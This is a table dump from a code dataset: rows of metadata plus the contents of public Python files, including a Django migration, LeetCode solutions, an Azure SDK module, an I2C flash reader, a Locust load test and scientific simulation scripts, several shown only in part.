blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 777
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 149
values | src_encoding stringclasses 26
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 3 10.2M | extension stringclasses 188
values | content stringlengths 3 10.2M | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
d2a116fd1e388ccc8ebd0e3a4c78b63d1b0b2041 | cc08f8eb47ef92839ba1cc0d04a7f6be6c06bd45 | /Personal/Cmmercial/products/migrations/0001_initial.py | 3f1b13821e51314afd7b2052f0cec407866a824f | [] | no_license | ProsenjitKumar/PycharmProjects | d90d0e7c2f4adc84e861c12a3fcb9174f15cde17 | 285692394581441ce7b706afa3b7af9e995f1c55 | refs/heads/master | 2022-12-13T01:09:55.408985 | 2019-05-08T02:21:47 | 2019-05-08T02:21:47 | 181,052,978 | 1 | 1 | null | 2022-12-08T02:31:17 | 2019-04-12T17:21:59 | null | UTF-8 | Python | false | false | 1,216 | py | # Generated by Django 2.1.3 on 2018-11-21 08:30
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Product',
fields=[
... | [
"[email protected]"
] | |
e3554e38fb6ff22a2f5045724ea53f7595a4c7e5 | 10ddfb2d43a8ec5d47ce35dc0b8acf4fd58dea94 | /Python/number-of-unequal-triplets-in-array.py | b5c5df654ed10cc8343e709f7badcabd6c662a00 | [
"MIT"
] | permissive | kamyu104/LeetCode-Solutions | f54822059405ef4df737d2e9898b024f051fd525 | 4dc4e6642dc92f1983c13564cc0fd99917cab358 | refs/heads/master | 2023-09-02T13:48:26.830566 | 2023-08-28T10:11:12 | 2023-08-28T10:11:12 | 152,631,182 | 4,549 | 1,651 | MIT | 2023-05-31T06:10:33 | 2018-10-11T17:38:35 | C++ | UTF-8 | Python | false | false | 551 | py | # Time: O(n * k) = O(3 * n)
# Space: O(n + k) = O(n)
import collections
# freq table, dp
class Solution(object):
def unequalTriplets(self, nums):
"""
:type nums: List[int]
:rtype: int
"""
K = 3
cnt = collections.Counter()
dp = [0]*K # dp[i]: number of une... | [
"[email protected]"
] | |
333b9acb1c421772b36728887c628c06910f5ea9 | 47deebe6fefedb01fdce5d4e82f58bb08f8e1e92 | /python core/Lesson_9/list_15.py | 3c9f1848f5a41869c089d25a9f31a5453ed7030e | [] | no_license | developeryuldashev/python-core | 5bb162603bdb5782acf05e3fb25ca5dd6347067a | 08fca77c9cfde69d93a7875b3fb65b98f3dabd78 | refs/heads/main | 2023-08-21T03:33:12.160133 | 2021-10-19T04:56:53 | 2021-10-19T04:56:53 | 393,383,696 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 128 | py | a=[1,2,3,4,5,6,3,4,5,8,9]
b=[]
c=[]
n=len(a)
i=n
while i>0:
b.append(a[i-1])
c.append(a[i-2])
i-=2
print(b)
print(c) | [
"[email protected]"
] | |
300add98b274304dbcde91ccbb0f8fb7c2bda876 | c4c159a21d2f1ea0d7dfaa965aeff01c8ef70dce | /flask/flaskenv/Lib/site-packages/pandas/tests/series/test_internals.py | 0febda9b710f4d9388ea3bf53da20bcf4f5af3c0 | [] | no_license | AhsonAslam/webapi | 54cf7466aac4685da1105f9fb84c686e38f92121 | 1b2bfa4614e7afdc57c9210b0674506ea70b20b5 | refs/heads/master | 2020-07-27T06:05:36.057953 | 2019-09-17T06:35:33 | 2019-09-17T06:35:33 | 208,895,450 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 129 | py | version https://git-lfs.github.com/spec/v1
oid sha256:cef8d1aa7b5483d0f8576d8863c0fa66a3fd81948992238d8d5f1a5531cee05a
size 8984
| [
"github@cuba12345"
] | github@cuba12345 |
14dc45b7b1ffbddfdfb9e556d2237d15b7495403 | 14d940630ab365be939fc08d3d95b0a98789bae7 | /lab32_list_comprehension_parte1.py | ab0e3c4e44cd1d99e38f7d80a38a5e3f85b41e0a | [] | no_license | accolombini/python_completo | 1da6f58f0c57b978d70582d96dc12b80c2d5b8a8 | 935102173a1112273b09734392dca08d76e9c749 | refs/heads/master | 2023-01-09T07:51:15.494101 | 2020-10-11T23:39:08 | 2020-10-11T23:39:08 | 283,790,276 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,343 | py | """
List Comprehension ->> utilizando List Comprehension nós podemos gerar novas listas com dados processados
a partir de outro iterável (uma coleção de dados)
- Sintaxe da List Comprehension
- [dado clausula for dado in itervael]
<$> Para melhor entender o que está acontecendo devemos dividir a expressão... | [
"[email protected]"
] | |
7af3564ec490ee7c916717f5e43254d06bac12c9 | 3c73609eea12d6784ffc0be5acc6994cda19dc57 | /Codeforces Difficulty 500-700/595AVitalyAndNight.py | c02b2a9caee1ba24e4511fe2d5b3542c6977975d | [] | no_license | TanveshT/Competitive-Programming | 0cf7a8ebc20a74cb6fd8505e67fbfec5bac6b8c2 | 47acc0a2af2711c86bb0da06e961677a8ec1e7d3 | refs/heads/master | 2022-12-19T01:44:46.033633 | 2020-09-25T06:57:23 | 2020-09-25T06:57:23 | 258,095,824 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 225 | py | n, m = map(int, input().split())
m2 = 2*m
count = 0
for i in range(n):
floor = list(map(int, input().split()))
for j in range(0,m2,2):
if floor[j] == 1 or floor[j+1] == 1:
count += 1
print(count) | [
"[email protected]"
] | |
50d52ee48c67426db276446ad0379118ac996184 | b4c2bbf32748f381f8918c2c20d2a86b5453dc87 | /plugins/extract/detect/_base.py | b737b6386a1f08673c4091bad17a567f57a21522 | [
"MIT"
] | permissive | oveis/DeepVideoFaceSwap | d45c7a18204f851a5c8b9cb6c9618284d4314b59 | e507f94d4f5d74c36e41c386c6fb14bb745a4885 | refs/heads/dev-gan-model | 2022-07-14T10:06:08.131201 | 2019-07-09T00:48:16 | 2019-07-09T00:48:16 | 184,978,011 | 6 | 5 | MIT | 2022-06-21T22:00:38 | 2019-05-05T04:09:53 | Python | UTF-8 | Python | false | false | 13,579 | py | #!/usr/bin/env python3
""" Base class for Face Detector plugins
Plugins should inherit from this class
See the override methods for which methods are
required.
For each source frame, the plugin must pass a dict to finalize containing:
{"filename": <filename of source frame>,
"image": <source ... | [
"[email protected]"
] | |
cf11d468c235daf41b6fa67bdd4fd202349ff255 | 579ddcffa5519d0cfde6209d3c030e12b487b05f | /LeetCode_June2020/is_subsequence.py | 28c96b53d3390b07c328f9bf06bdb376456dfb6f | [] | no_license | mrshaikh4u/Problem-solving | 001e00292e531c4205b80785f617c6189ec9f2a8 | 96b257e2053eaaa75a152e92657cbf39f9169b8a | refs/heads/master | 2022-11-13T19:48:43.565431 | 2022-11-03T18:42:49 | 2022-11-03T18:42:49 | 252,262,607 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 607 | py |
class Solution:
def isSubsequence(self, s: str, t: str) -> bool:
if t is None or len(t)==0:
return s is None or len(s)==0
if s is None or len(s)==0:
return True
# s = "abc", t = "ahbgdc"
ptr = 0
for c in s:
found = False
while ... | [
"[email protected]"
] | |
781fed99b49ba8f6c143ba1f942e9603e3a68d20 | e32a75c44ef9c964bc5f97712c8e0e845ee3f6ca | /lemmatise_question_vocab.py | 74408714d90e2917500ed5edbe53dc9a64b74ca6 | [] | no_license | ankita-kalra/ivqa_belief_set | 29c40ec4076433ac412728aea603e4e69ce530eb | 6ebba50ff001e1af6695bb3f4d2643e7072ee153 | refs/heads/master | 2020-04-05T17:17:00.834303 | 2018-08-27T09:59:16 | 2018-08-27T09:59:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,499 | py | with open('data/vqa_trainval_question_word_counts.txt', 'r') as fs:
lines = fs.readlines()
words = [line.split()[0].strip() for line in lines]
with open('tmp_dump.txt', 'w') as fs:
for word in words:
fs.write('%s\n' % word)
from nltk.corpus import wordnet as wn
import nltk
import numpy as np
def... | [
"[email protected]"
] | |
fad4277ce6037da4dbeb48ec277ee28b3e0372c9 | 9e1df555176bae216828c404ad7290c2eb030cbf | /tests/metrics/test_metric.py | d97cd1a176cf294208e20b3b3e4a764318141b3c | [
"Apache-2.0",
"LicenseRef-scancode-proprietary-license"
] | permissive | shijianjian/pytorch-lightning | e11be4d4926a1a0c8f605e596bec19926d476876 | b6f3cf5e52dddedec6f7b3e85c0702b75907452c | refs/heads/master | 2023-03-02T14:58:54.139540 | 2021-02-10T05:38:23 | 2021-02-10T05:38:23 | 318,134,795 | 1 | 0 | Apache-2.0 | 2020-12-03T09:05:46 | 2020-12-03T09:05:45 | null | UTF-8 | Python | false | false | 3,841 | py | import pickle
from collections import OrderedDict
from distutils.version import LooseVersion
import cloudpickle
import numpy as np
import pytest
import torch
from pytorch_lightning.metrics.metric import Metric
torch.manual_seed(42)
class Dummy(Metric):
name = "Dummy"
def __init__(self):
super().__... | [
"[email protected]"
] | |
4e8c3e29671d3b8ee93186ca9cb39e1dc9041ad6 | 0fbc2dff6c74d79fcdc3170c8bfb2fe8fa955175 | /notebooks/widget_org.py | 624b1b94ee375d5ac5c91a1f23818bb2cee26729 | [
"BSD-3-Clause"
] | permissive | mwcraig/tutorial | abedcaa251d63d7de4a0c17f99a7f7dd7639d086 | e1dfa624b0d043f33b768edeb35629741f4d890f | refs/heads/master | 2022-11-08T15:09:04.056005 | 2019-07-07T22:06:12 | 2019-07-07T23:04:16 | 134,425,268 | 0 | 0 | BSD-3-Clause | 2018-05-22T14:11:30 | 2018-05-22T14:11:30 | null | UTF-8 | Python | false | false | 7,088 | py | import string
import inspect
from collections import defaultdict
import ipywidgets as widgets
def extract_module_name(obj, full=False):
"""
Get the name of a module for an object.
"""
properties = inspect.getmembers(obj)
for name, value in properties:
if name == '__module__':
... | [
"[email protected]"
] | |
9969606a2dac6ff81118988c97c9fc5a469e593a | 1a166165ab8287d01cbb377a13efdb5eff5dfef0 | /sdk/network/azure-mgmt-network/azure/mgmt/network/v2018_12_01/aio/operations/_p2_svpn_server_configurations_operations.py | f65a8a822f3417fc8e16dbaf0b1f3ae67ffef1ac | [
"MIT",
"LicenseRef-scancode-generic-cla",
"LGPL-2.1-or-later"
] | permissive | manoj0806/azure-sdk-for-python | 7a14b202ff80f528abd068bf50334e91001a9686 | aab999792db1132232b2f297c76800590a901142 | refs/heads/master | 2023-04-19T16:11:31.984930 | 2021-04-29T23:19:49 | 2021-04-29T23:19:49 | 363,025,016 | 1 | 0 | MIT | 2021-04-30T04:23:35 | 2021-04-30T04:23:35 | null | UTF-8 | Python | false | false | 23,195 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [
"[email protected]"
] | |
d99a029c03dcdfe98683393cb23dc737e077714b | 83316dd8a01070711fe8c42cd38d245da9a4711e | /testmethodology/trafficcenter/stakunittest/test_ReservePortsCommand.py | 7a598086724fe16870f4f35fbce33f81dbe7a643 | [] | no_license | CmWork/STAKCommands | fa46d561d0a85ac49c14f1b1fc6c014d2e0955bc | 8b3fb68912116f7973fa9b3677d4e3d43c92f194 | refs/heads/master | 2020-05-02T00:57:20.940300 | 2015-07-10T04:32:37 | 2015-07-10T04:32:37 | 38,860,960 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,946 | py | import copy
import json
import pytest
from mock import MagicMock, patch
from StcIntPythonPL import CStcSystem, CScriptableCreator, RelationType, CHandleRegistry
from spirent.methodology.trafficcenter.ReservePortsCommand import *
import spirent.methodology.trafficcenter.ReservePortsCommand
partial_topology_config = [
... | [
"[email protected]"
] | |
3daeb98cf549c02dfd2bbba036a474e93b402841 | 5a281cb78335e06c631181720546f6876005d4e5 | /sahara-10.0.0/api-ref/source/conf.py | d7580249d82601bc268b6c35106c8df3c1ec2580 | [
"Apache-2.0"
] | permissive | scottwedge/OpenStack-Stein | d25b2a5bb54a714fc23f0ff0c11fb1fdacad85e8 | 7077d1f602031dace92916f14e36b124f474de15 | refs/heads/master | 2021-03-22T16:07:19.561504 | 2020-03-15T01:31:10 | 2020-03-15T01:31:10 | 247,380,811 | 0 | 0 | Apache-2.0 | 2020-03-15T01:24:15 | 2020-03-15T01:24:15 | null | UTF-8 | Python | false | false | 7,091 | py | # -*- coding: utf-8 -*-
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, softwa... | [
"Wayne [email protected]"
] | Wayne [email protected] |
210609fb82f3bd44f14c0dc789314dd099ea2a0f | 08c132bc63ebba2edebde139f7907953ae2fa04d | /Archived_Files/FTDI_Python_Libraries - SPI_MDIO_I2C/etc_i2c_flash.py | 5dc8f62ab699ff7816ef920fa89870c54f41af85 | [] | no_license | hudkmr/Code_Database | 12b60d1b331b91e9dc990d63bd4603bb92d0bfe7 | d80751c13bd30114af70d690ef8fc1a0d6368490 | refs/heads/master | 2021-01-21T12:49:47.564408 | 2015-07-30T02:28:07 | 2015-07-30T02:28:07 | 39,899,454 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 764 | py | #This Script Reads the Data from I2C Slave device(Flash memory) using FTDI MPSSE Engine
from etc_abb_i2c_lib import BB_I2C
from etc_abb_i2c_lib.etc_header import *
import sys
import time
d=BB_I2C(0)
d.DevConf(BAUD,DO_MASK_VAL,SYNC_MODE)
TXACKBuf=[]
RXACKBuf=[]
d.I2CStart_CMD()
TXACKBuf+=d.SendAddr(0x80,0)
TXACKBuf+=... | [
"[email protected]"
] | |
110e68626a3a41241542e46200b9b2518c135ea3 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/59/usersdata/149/40381/submittedfiles/testes.py | ea7b0089a5a041e237f02731936156abd74a1461 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 93 | py | # -*- coding: utf-8 -*-
import math
i=int(input('digite i:'))
while i<10:
print(i)
i=i+1
| [
"[email protected]"
] | |
117aa18bc9ed57ce6572e9120224d114fc632a6e | 32e2e9ecd12d4eeaacc64d1a699672633501ea08 | /find_a_midwife/views.py | 142206c710eac207c0818e7371cb179f8e186912 | [] | no_license | BrianC68/wr_maternity | 365098abb13d255348d2d57bf1c543cd698e6ae8 | 5392fdead32c5f79c7be9a4cb0397df26a5de915 | refs/heads/master | 2023-01-24T08:42:06.965179 | 2023-01-20T17:42:44 | 2023-01-20T17:42:44 | 233,097,880 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 667 | py | from django.shortcuts import render
from django.urls import reverse_lazy
from django.views.generic import ListView, DetailView
from .models import Midwife
class MidwifeListView(ListView):
'''Page that displays all midwives.'''
template_name = 'midwife_list_view.html'
model = Midwife
context_object_na... | [
"[email protected]"
] | |
e3a979129f8e489822a61a1c0972a4cfd9305ecc | cad9d8b930fdd0998899c2ead23f7688769e0348 | /src/transformers/models/speech_encoder_decoder/modeling_speech_encoder_decoder.py | 45262ad940fe336ba84de724b25ee7e84f255647 | [
"Apache-2.0"
] | permissive | bage79/transformers | 2687ad7556e6dc10a7dc65d64c2696a837fce9ce | 867f3950fa908632ddb3564873293b620d73c2dc | refs/heads/main | 2022-06-13T08:20:33.887880 | 2022-03-25T13:12:23 | 2022-03-25T13:12:23 | 213,647,037 | 1 | 0 | Apache-2.0 | 2019-10-08T13:18:55 | 2019-10-08T13:18:54 | null | UTF-8 | Python | false | false | 32,331 | py | # coding=utf-8
# Copyright 2021 The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... | [
"[email protected]"
] | |
a8be8bddddc67ab30f266259012c32c14fe1bede | ce18cf6bdb1a85a65a509597b4c0ec046b855186 | /2021年4月/接雨水.py | e3b2d4f6b80d4cf594dc6bc3a4110f902cfdb9c8 | [] | no_license | elssm/leetcode | e12e39faff1da5afb234be08e7d9db85fbee58f8 | a38103d2d93b34bc8bcf09f87c7ea698f99c4e36 | refs/heads/master | 2021-06-11T06:44:44.993905 | 2021-04-28T06:14:23 | 2021-04-28T06:14:23 | 171,072,054 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,415 | py | class Solution(object):
def trap(self, height):
"""
:type height: List[int]
:rtype: int
"""
if len(height) <= 1:
return 0
#两层循环时间复杂度太大了。不过思路没问题
# ans=0
# start=0
# end=0
# max_h = max(height)
# for i in rang... | [
"[email protected]"
] | |
9bdfbf61dce36e4cf4db5e261bcab6169238f587 | 1289d4eb7e3b313ee21fa48cdd49d5af1772db0a | /main.py | d0e770d8fa33950549fa4ee9c2c436f232614fb0 | [] | no_license | ansko/Lato | a2ea6105d596ccd8874b7822b325b5921d18a70f | f5e3f8eca7af7e8f5eec649aaf8f848a6c367ef2 | refs/heads/master | 2021-01-11T02:12:45.651699 | 2016-10-15T20:07:07 | 2016-10-15T20:07:07 | 70,993,562 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 122 | py | #!/usr/bin/env python3
# coding: utf-8
from atoms_class import Atoms
atoms = Atoms('co.50000.data')
print (atoms.atoms)
| [
"[email protected]"
] | |
69debec428098617652296bd578146c4657179a1 | caf6ae544fce3b332b40a03462c0646a32c913e1 | /master/python/swagger_client/models/deposit_id.py | 9d6a813e681197d9448474fe5c7f2b9e39942158 | [
"Apache-2.0"
] | permissive | coinsecure/plugins | 827eb0ce03a6a23b4819a618ee47600161bec1c7 | ad6f08881020c268b530d5242d9deed8d2ec84de | refs/heads/master | 2020-05-30T07:17:56.255709 | 2016-11-27T22:22:23 | 2016-11-27T22:22:23 | 63,496,663 | 3 | 5 | null | null | null | null | UTF-8 | Python | false | false | 3,799 | py | # coding: utf-8
"""
Coinsecure Api Documentation
To generate an API key, please visit <a href='https://coinsecure.in/api' target='_new' class='homeapi'>https://coinsecure.in/api</a>.<br>Guidelines for use can be accessed at <a href='https://api.coinsecure.in/v1/guidelines'>https://api.coinsecure.in/v1/guideli... | [
"[email protected]"
] | |
f038abaec86c975b455f314fe8312b6fb4f3a83f | 37930870719caede967fdf6905c032e22d086e8b | /scripts/imaging/simulators/instruments/vro.py | 0990c9c9733733002ed6eb4a3accc03e6b77e72d | [] | no_license | Cywtim/autolens_workspace | cbede944c0f85ee95cd7362fee957ef77e701280 | da40cafee8dc26e5d8b1041888fb280598e74a5e | refs/heads/master | 2023-04-05T14:22:06.091992 | 2021-04-15T20:29:28 | 2021-04-15T20:29:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,170 | py | """
Simulator: VRO
==============
This script simulates `Imaging` of a strong lens where:
- The resolution, PSF and S/N are representative of the Vera Rubin Observatory imaging.
"""
# %matplotlib inline
# from pyprojroot import here
# workspace_path = str(here())
# %cd $workspace_path
# print(f"Working D... | [
"[email protected]"
] | |
f5316c97b47c37037e7f7584f2ad11d62837711b | 55c250525bd7198ac905b1f2f86d16a44f73e03a | /Python/Games/Minecraft/pip/tests/test_help.py | b5a5f8aaba7742dfff1f6d49f2ba7a46eab76da7 | [] | no_license | NateWeiler/Resources | 213d18ba86f7cc9d845741b8571b9e2c2c6be916 | bd4a8a82a3e83a381c97d19e5df42cbababfc66c | refs/heads/master | 2023-09-03T17:50:31.937137 | 2023-08-28T23:50:57 | 2023-08-28T23:50:57 | 267,368,545 | 2 | 1 | null | 2022-09-08T15:20:18 | 2020-05-27T16:18:17 | null | UTF-8 | Python | false | false | 129 | py | version https://git-lfs.github.com/spec/v1
oid sha256:8a2ef4075a758034598401082ccea67056274e743bd8d3b71c91deb8be2b8201
size 1835
| [
"[email protected]"
] | |
a92d28836676c2ebdd4e48ad6ba6b45f2ddd5ddd | fd0eecb6d4f12eb326030c2f64892c6845668c4f | /docs/files/ros-service-call-logger.py | 69929603c94693f175fcbc0234197cc7350d0cb4 | [
"MIT"
] | permissive | gramaziokohler/roslibpy | 599eff049caa72ca0f23dbc8e4058e051e66556b | 55e8f396f9e7b5d5669f6a31c2ed8d9bc33c3400 | refs/heads/main | 2023-08-31T22:57:32.502924 | 2023-03-29T14:52:31 | 2023-03-29T14:52:31 | 119,359,521 | 245 | 58 | MIT | 2023-08-29T14:22:35 | 2018-01-29T09:13:24 | Python | UTF-8 | Python | false | false | 333 | py | import roslibpy
client = roslibpy.Ros(host='localhost', port=9090)
client.run()
service = roslibpy.Service(client, '/rosout/get_loggers', 'roscpp/GetLoggers')
request = roslibpy.ServiceRequest()
print('Calling service...')
result = service.call(request)
print('Service response: {}'.format(result['loggers']))
client... | [
"[email protected]"
] | |
70b061e799152084ad6f729509a14852526468f9 | 6923f79f1eaaba0ab28b25337ba6cb56be97d32d | /PHY_604_Computational_Methods_in_Physics_and_Astrophysics_II_Zingale/code1/monte_carlo/uniform_random/random_test.py | f5d708344cd250ad2e460372c9cb612844584e80 | [] | no_license | burakbayramli/books | 9fe7ba0cabf06e113eb125d62fe16d4946f4a4f0 | 5e9a0e03aa7ddf5e5ddf89943ccc68d94b539e95 | refs/heads/master | 2023-08-17T05:31:08.885134 | 2023-08-14T10:05:37 | 2023-08-14T10:05:37 | 72,460,321 | 223 | 174 | null | 2022-10-24T12:15:06 | 2016-10-31T17:24:00 | Jupyter Notebook | UTF-8 | Python | false | false | 919 | py | # Do a simple random number generator based on the linear congruential
# generator
import matplotlib.pyplot as plt
class Rand(object):
def __init__(self, seed):
self.seed = seed
self.a = 16807 # 7**5
self.c = 0
self.M = 2147483647 # 2**31 -1
def ran(self):
xn... | [
"[email protected]"
] | |
ad8452aa80df9bf192b29494939440d87bd2230d | 9a2b9a3873984e9f99cdc92be7d98af279fae36b | /app/users/locusts.py | c3021a34c5118e8f3272dba542cf12d9d34e453e | [] | no_license | jeonyh0924/celery-test | 4bf3832ef5e4175c7615051ccaefa131b65a01af | aad15232141d1f2ad69c5438030e9fcd707b6efa | refs/heads/master | 2022-11-26T05:21:48.885913 | 2020-08-06T11:05:49 | 2020-08-06T11:05:49 | 284,411,009 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 231 | py | import random
from locust import HttpUser, task, between
class QuickstartUser(HttpUser):
wait_time = between(5, 9)
@task
def index_page(self):
self.client.get("/health")
def on_start(self):
pass
| [
"[email protected]"
] | |
76c69c71e2615a87f13d8098ced49b2265c3c1e8 | 3490103f9c3773a717b37c3e6bedc88b9cd83cd2 | /setup.py | dd45809284ae6bf607d2dff2a2b681e1afbcbacd | [] | no_license | vuchau/django-project-template | 66cd4bf08c4b61be53d8aaed5e34d48b54901682 | 2510e82d50a705429cda96d7912d5056313c29b9 | refs/heads/master | 2021-01-18T08:05:53.465031 | 2015-01-24T22:12:12 | 2015-01-24T22:12:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 912 | py | from setuptools import setup
from distutils.core import Command
class TestCommand(Command):
user_options = []
def initialize_options(self):
pass
def finalize_options(self):
pass
def run(self):
from django.conf import settings
settings.configure(
DATABASES... | [
"[email protected]"
] | |
a1e6e1348803e6d405076ffca4ed431681dfba1a | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02781/s238378799.py | 717eeb5e77e1996b57354ee94c94ba90683c2808 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,263 | py | #!/usr/bin/env python3
#%% for atcoder uniittest use
import sys
input= lambda: sys.stdin.readline().rstrip()
sys.setrecursionlimit(10**9)
def pin(type=int):return map(type,input().split())
def tupin(t=int):return tuple(pin(t))
def lispin(t=int):return list(pin(t))
#%%code
def resolve():
N=input()
K,=pin()
... | [
"[email protected]"
] | |
e117f4ebaad212623fc1ca4c75b0ce427a5091d7 | 501d029b5db8132feb1877f5e0898af7a301c910 | /ex3_1.py | 360851c26a0bb82dc626470c97dff2bdb4d8a0da | [] | no_license | Everfighting/Learn-Python-the-Hard-Way | 092b050d53bfca0f5bbc91e41ba1aacce2880cc1 | 51723bfc22472284b3902161627331882f0dbc6f | refs/heads/master | 2020-04-05T22:55:02.550343 | 2017-08-22T06:13:36 | 2017-08-22T06:13:36 | 61,793,170 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 303 | py | # coding=utf-8
import math
# 利用math模块中的乘方进行计算。
print math.pow(5,2)
# 利用内置算术运算符乘方
print 5**2
# 地板除,如果是整数相除,结果只是整数,小数部分去除。
# 在python3.0以上版本/结果含有小数,//才是地板除。
print 5/3 | [
"[email protected]"
] | |
eff753209513dfc927dc91a5466b6ddf7519166d | 98364abec1f798ed6352a1c0eda080371aacb28d | /Medium/729/729.py | fa51d5f4b2ef64dd9ed676a463da821bf4475276 | [] | no_license | GuoYunZheSE/Leetcode | 3d1b11d142734922acecf7ba5efbaf0f2ab26d81 | 45cabf05251711c6421c8c2ddbcc3fec9222f70a | refs/heads/master | 2022-05-01T05:03:20.694729 | 2022-04-27T04:10:33 | 2022-04-27T04:10:33 | 161,486,806 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,414 | py | import bisect
class MyCalendar:
# def __init__(self):
# self.left=None
# self.right=None
# self.available=[]
# def book(self, start: int, end: int) -> bool:
# if (start and end) or (start==0 and end) :
# if start<=end:
# # First Book
# ... | [
"[email protected]"
] | |
f5b80ad74e9f4b8489d21edb746c9938cea79745 | 43f3b7e4a5b7a1210ffa72c5a855d7542d68290d | /Results/Python/Array/134.py | 69581275b8fe467b583b69841182a4af0fcb49ac | [] | no_license | bar2104y/Abramyan_1000_tasks | 38e86e119245db4bac0483583cc16d8793d5689c | e0bf9f5e73d90b8eca3fe5ba7913ed12f18d989a | refs/heads/master | 2021-06-05T18:05:09.788453 | 2020-06-30T19:52:31 | 2020-06-30T19:52:31 | 150,898,700 | 5 | 2 | null | 2018-10-02T17:16:28 | 2018-09-29T20:01:33 | Python | UTF-8 | Python | false | false | 569 | py | import math
from genarr import genRandomArr
x,y = [], []
n = int(input("N: "))
# for i in range(n):
# x.append(int(input("X: ")))
# y.append(int(input("Y: ")))
x,y = genRandomArr(n,-10,10), genRandomArr(n,-10,10)
def distanse(x1,y1,x2,y2):
return(math.sqrt((x2-x1)**2 + (y2-y1)**2))
maxd = 0
for i in ra... | [
"[email protected]"
] | |
92addd01fb60c32929e5a515f5a438f96f32715b | 560c5d8226d74969c3fb467efd1d26178562e15c | /blog_api/users/signals.py | dcc3fa9d8133adbb65fc08daa0e17af6aee7ccfc | [
"MIT"
] | permissive | beasyx0/blog_api | 17f47fb1537d4b7e53822bbff507740363d909cc | 8d984ee3f9b2b7ea35a847013743f236a1a67fdb | refs/heads/main | 2023-06-30T02:08:40.190270 | 2021-08-04T02:09:53 | 2021-08-04T02:09:53 | 358,662,944 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,174 | py | from django.contrib.auth.signals import user_logged_in # user_logged_out, user_login_failed
from django.db.models import signals
from django.dispatch import Signal
from django.db import transaction
from django.dispatch import receiver
from django.shortcuts import get_object_or_404
from django.utils import timezone
from... | [
"[email protected]"
] | |
b797535219742d7c8b142f1d14633ac6f9165b4d | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_138/1275.py | c8fd42dd2af78c90831cb28164d298f384b5d870 | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 732 | py | import os, sys
import itertools
lines = [line.strip() for line in open("%s" % sys.argv[1]).readlines()]
lines.reverse()
cases = lines.pop()
for case in range(int(cases)):
lines.pop()
lowers, highers = [], []
N = sorted(map(float,lines.pop().split(' ')))
K = sorted(map(float,lines.pop().split(' ')))
for i, n in enu... | [
"[email protected]"
] | |
